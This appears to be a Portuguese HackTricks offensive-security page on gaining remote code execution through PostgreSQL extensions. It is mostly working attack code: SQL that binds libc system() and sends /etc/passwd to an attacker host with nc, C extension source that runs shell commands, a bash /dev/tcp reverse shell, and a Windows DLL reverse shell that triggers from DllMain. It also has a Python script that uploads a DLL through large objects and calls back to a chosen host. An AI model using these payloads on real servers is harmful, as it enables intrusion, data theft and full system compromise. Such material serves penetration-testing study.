16 KiB
RCE com Extensões PostgreSQL
{% hint style="success" %}
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Extensões PostgreSQL
O PostgreSQL foi desenvolvido com a extensibilidade como uma característica central, permitindo integrar extensões como se fossem funcionalidades embutidas. Essas extensões, essencialmente bibliotecas escritas em C, enriquecem o banco de dados com funções, operadores ou tipos adicionais.
A partir da versão 8.1, uma exigência específica é imposta às bibliotecas de extensão: elas devem ser compiladas com um cabeçalho especial. Sem isso, o PostgreSQL não as executará, garantindo que apenas extensões compatíveis e potencialmente seguras sejam usadas.
Além disso, tenha em mente que se você não sabe como fazer upload de arquivos para a vítima abusando do PostgreSQL, você deve ler este post.
RCE no Linux
Para mais informações, confira: https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/
A execução de comandos do sistema a partir do PostgreSQL 8.1 e versões anteriores é um processo que foi claramente documentado e é direto. É possível usar este: módulo Metasploit.
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');
# You can also create functions to open and write files
CREATE OR REPLACE FUNCTION open(cstring, int, int) RETURNS int AS '/lib/libc.so.6', 'open' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION write(int, cstring, int) RETURNS int AS '/lib/libc.so.6', 'write' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' LANGUAGE 'C' STRICT;
Escrever arquivo binário a partir de base64
Para escrever um binário em um arquivo no postgres, você pode precisar usar base64, isso será útil para esse propósito:
CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS
$$
DECLARE
fh int;
s int;
w bytea;
i int;
BEGIN
SELECT open(textout(file)::cstring, 522, 448) INTO fh;
IF fh <= 2 THEN
RETURN 1;
END IF;
SELECT decode(s, 'base64') INTO w;
i := 0;
LOOP
EXIT WHEN i >= octet_length(w);
SELECT write(fh,textout(chr(get_byte(w, i)))::cstring, 1) INTO rs;
IF rs < 0 THEN
RETURN 2;
END IF;
i := i + 1;
END LOOP;
SELECT close(fh) INTO rs;
RETURN 0;
END;
$$ LANGUAGE 'plpgsql';
No entanto, quando tentado em versões superiores o seguinte erro foi exibido:
ERROR: incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic block
HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
Este erro é explicado na documentação do PostgreSQL:
Para garantir que um arquivo de objeto carregado dinamicamente não seja carregado em um servidor incompatível, o PostgreSQL verifica se o arquivo contém um "bloco mágico" com o conteúdo apropriado. Isso permite que o servidor detecte incompatibilidades óbvias, como código compilado para uma versão principal diferente do PostgreSQL. Um bloco mágico é necessário a partir do PostgreSQL 8.2. Para incluir um bloco mágico, escreva isso em um (e apenas um) dos arquivos de origem do módulo, após ter incluído o cabeçalho fmgr.h:
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
Desde a versão 8.2 do PostgreSQL, o processo para um atacante explorar o sistema se tornou mais desafiador. O atacante deve utilizar uma biblioteca que já esteja presente no sistema ou fazer o upload de uma biblioteca personalizada. Esta biblioteca personalizada deve ser compilada contra a versão principal compatível do PostgreSQL e deve incluir um "bloco mágico" específico. Essa medida aumenta significativamente a dificuldade de explorar sistemas PostgreSQL, pois exige uma compreensão mais profunda da arquitetura do sistema e da compatibilidade de versões.
Compile a biblioteca
Obtenha a versão do PostgreSQL com:
SELECT version();
PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0 20170516, 64-bit
Para compatibilidade, é essencial que as versões principais estejam alinhadas. Portanto, compilar uma biblioteca com qualquer versão dentro da série 9.6.x deve garantir uma integração bem-sucedida.
Para instalar essa versão em seu sistema:
apt install postgresql postgresql-server-dev-9.6
E compile a biblioteca:
//gcc -I$(pg_config --includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c
#include <string.h>
#include "postgres.h"
#include "fmgr.h"
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
PG_FUNCTION_INFO_V1(pg_exec);
Datum pg_exec(PG_FUNCTION_ARGS) {
char* command = PG_GETARG_CSTRING(0);
PG_RETURN_INT32(system(command));
}
Então, faça o upload da biblioteca compilada e execute comandos com:
CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAGE C STRICT;
SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
#Notice the double single quotes are needed to scape the qoutes
Você pode encontrar esta biblioteca pré-compilada para várias versões diferentes do PostgreSQL e até pode automatizar esse processo (se você tiver acesso ao PostgreSQL) com:
{% embed url="https://github.com/Dionach/pgexec" %}
RCE no Windows
A seguinte DLL recebe como entrada o nome do binário e o número de vezes que você deseja executá-lo e o executa:
#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <stdio.h>
#include "utils/builtins.h"
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum pgsql_exec(PG_FUNCTION_ARGS);
PG_FUNCTION_INFO_V1(pgsql_exec);
/* this function launches the executable passed in as the first parameter
in a FOR loop bound by the second parameter that is also passed*/
Datum
pgsql_exec(PG_FUNCTION_ARGS)
{
/* convert text pointer to C string */
#define GET_STR(textp) DatumGetCString(DirectFunctionCall1(textout, PointerGetDatum(textp)))
/* retrieve the second argument that is passed to the function (an integer)
that will serve as our counter limit*/
int instances = PG_GETARG_INT32(1);
for (int c = 0; c < instances; c++) {
/*launch the process passed in the first parameter*/
ShellExecute(NULL, "open", GET_STR(PG_GETARG_TEXT_P(0)), NULL, NULL, 1);
}
PG_RETURN_VOID();
}
Você pode encontrar a DLL compilada neste zip:
{% file src="../../../.gitbook/assets/pgsql_exec.zip" %}
Você pode indicar a esta DLL qual binário executar e o número de vezes que deve executá-lo, neste exemplo, ele executará calc.exe
2 vezes:
CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT;
SELECT remote_exec('calc.exe', 2);
DROP FUNCTION remote_exec(text, integer);
Em aqui você pode encontrar este reverse-shell:
#define PG_REVSHELL_CALLHOME_SERVER "10.10.10.10"
#define PG_REVSHELL_CALLHOME_PORT "4444"
#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <winsock2.h>
#pragma comment(lib,"ws2_32")
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
#pragma warning(push)
#pragma warning(disable: 4996)
#define _WINSOCK_DEPRECATED_NO_WARNINGS
BOOL WINAPI DllMain(_In_ HINSTANCE hinstDLL,
_In_ DWORD fdwReason,
_In_ LPVOID lpvReserved)
{
WSADATA wsaData;
SOCKET wsock;
struct sockaddr_in server;
char ip_addr[16];
STARTUPINFOA startupinfo;
PROCESS_INFORMATION processinfo;
char *program = "cmd.exe";
const char *ip = PG_REVSHELL_CALLHOME_SERVER;
u_short port = atoi(PG_REVSHELL_CALLHOME_PORT);
WSAStartup(MAKEWORD(2, 2), &wsaData);
wsock = WSASocket(AF_INET, SOCK_STREAM,
IPPROTO_TCP, NULL, 0, 0);
struct hostent *host;
host = gethostbyname(ip);
strcpy_s(ip_addr, sizeof(ip_addr),
inet_ntoa(*((struct in_addr *)host->h_addr)));
server.sin_family = AF_INET;
server.sin_port = htons(port);
server.sin_addr.s_addr = inet_addr(ip_addr);
WSAConnect(wsock, (SOCKADDR*)&server, sizeof(server),
NULL, NULL, NULL, NULL);
memset(&startupinfo, 0, sizeof(startupinfo));
startupinfo.cb = sizeof(startupinfo);
startupinfo.dwFlags = STARTF_USESTDHANDLES;
startupinfo.hStdInput = startupinfo.hStdOutput =
startupinfo.hStdError = (HANDLE)wsock;
CreateProcessA(NULL, program, NULL, NULL, TRUE, 0,
NULL, NULL, &startupinfo, &processinfo);
return TRUE;
}
#pragma warning(pop) /* re-enable 4996 */
/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum dummy_function(PG_FUNCTION_ARGS);
PG_FUNCTION_INFO_V1(add_one);
Datum dummy_function(PG_FUNCTION_ARGS)
{
int32 arg = PG_GETARG_INT32(0);
PG_RETURN_INT32(arg + 1);
}
Note como neste caso o código malicioso está dentro da função DllMain. Isso significa que neste caso não é necessário executar a função carregada no postgresql, apenas carregar a DLL irá executar o reverse shell:
CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;
O projeto PolyUDF também é um bom ponto de partida com o projeto completo do MS Visual Studio e uma biblioteca pronta para uso (incluindo: command eval, exec e cleanup) com suporte a múltiplas versões.
RCE nas versões mais recentes do PostgreSQL
Nas últimas versões do PostgreSQL, foram impostas restrições onde o superuser
é proibido de carregar arquivos de biblioteca compartilhada, exceto de diretórios específicos, como C:\Program Files\PostgreSQL\11\lib
no Windows ou /var/lib/postgresql/11/lib
em sistemas *nix. Esses diretórios são protegidos contra operações de escrita pelos contas NETWORK_SERVICE ou postgres.
Apesar dessas restrições, é possível que um superuser
autenticado do banco de dados escreva arquivos binários no sistema de arquivos usando "objetos grandes". Essa capacidade se estende à escrita dentro do diretório C:\Program Files\PostgreSQL\11\data
, que é essencial para operações de banco de dados, como atualizar ou criar tabelas.
Uma vulnerabilidade significativa surge do comando CREATE FUNCTION
, que permite a travessia de diretórios no diretório de dados. Consequentemente, um atacante autenticado poderia explorar essa travessia para escrever um arquivo de biblioteca compartilhada no diretório de dados e, em seguida, carregá-lo. Essa exploração permite que o atacante execute código arbitrário, alcançando a execução de código nativo no sistema.
Fluxo de ataque
Primeiro, você precisa usar objetos grandes para fazer o upload do dll. Você pode ver como fazer isso aqui:
{% content-ref url="big-binary-files-upload-postgresql.md" %} big-binary-files-upload-postgresql.md {% endcontent-ref %}
Uma vez que você tenha feito o upload da extensão (com o nome de poc.dll para este exemplo) no diretório de dados, você pode carregá-la com:
create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
select connect_back('192.168.100.54', 1234);
Note que você não precisa adicionar a extensão .dll
, pois a função create irá adicioná-la.
Para mais informações leia a publicação original aqui.
Nessa publicação este foi o código usado para gerar a extensão postgres (para aprender como compilar uma extensão postgres, leia qualquer uma das versões anteriores).
Na mesma página, este exploit para automatizar esta técnica foi fornecido:
#!/usr/bin/env python3
import sys
if len(sys.argv) != 4:
print("(+) usage %s <connectback> <port> <dll/so>" % sys.argv[0])
print("(+) eg: %s 192.168.100.54 1234 si-x64-12.dll" % sys.argv[0])
sys.exit(1)
host = sys.argv[1]
port = int(sys.argv[2])
lib = sys.argv[3]
with open(lib, "rb") as dll:
d = dll.read()
sql = "select lo_import('C:/Windows/win.ini', 1337);"
for i in range(0, len(d)//2048):
start = i * 2048
end = (i+1) * 2048
if i == 0:
sql += "update pg_largeobject set pageno=%d, data=decode('%s', 'hex') where loid=1337;" % (i, d[start:end].hex())
else:
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % (i, d[start:end].hex())
if (len(d) % 2048) != 0:
end = (i+1) * 2048
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % ((i+1), d[end:].hex())
sql += "select lo_export(1337, 'poc.dll');"
sql += "create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;"
sql += "select connect_back('%s', %d);" % (host, port)
print("(+) building poc.sql file")
with open("poc.sql", "w") as sqlfile:
sqlfile.write(sql)
print("(+) run poc.sql in PostgreSQL using the superuser")
print("(+) for a db cleanup only, run the following sql:")
print(" select lo_unlink(l.oid) from pg_largeobject_metadata l;")
print(" drop function connect_back(text, integer);")
Referências
- https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/
- https://www.exploit-db.com/papers/13084
{% hint style="success" %}
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Suporte ao HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.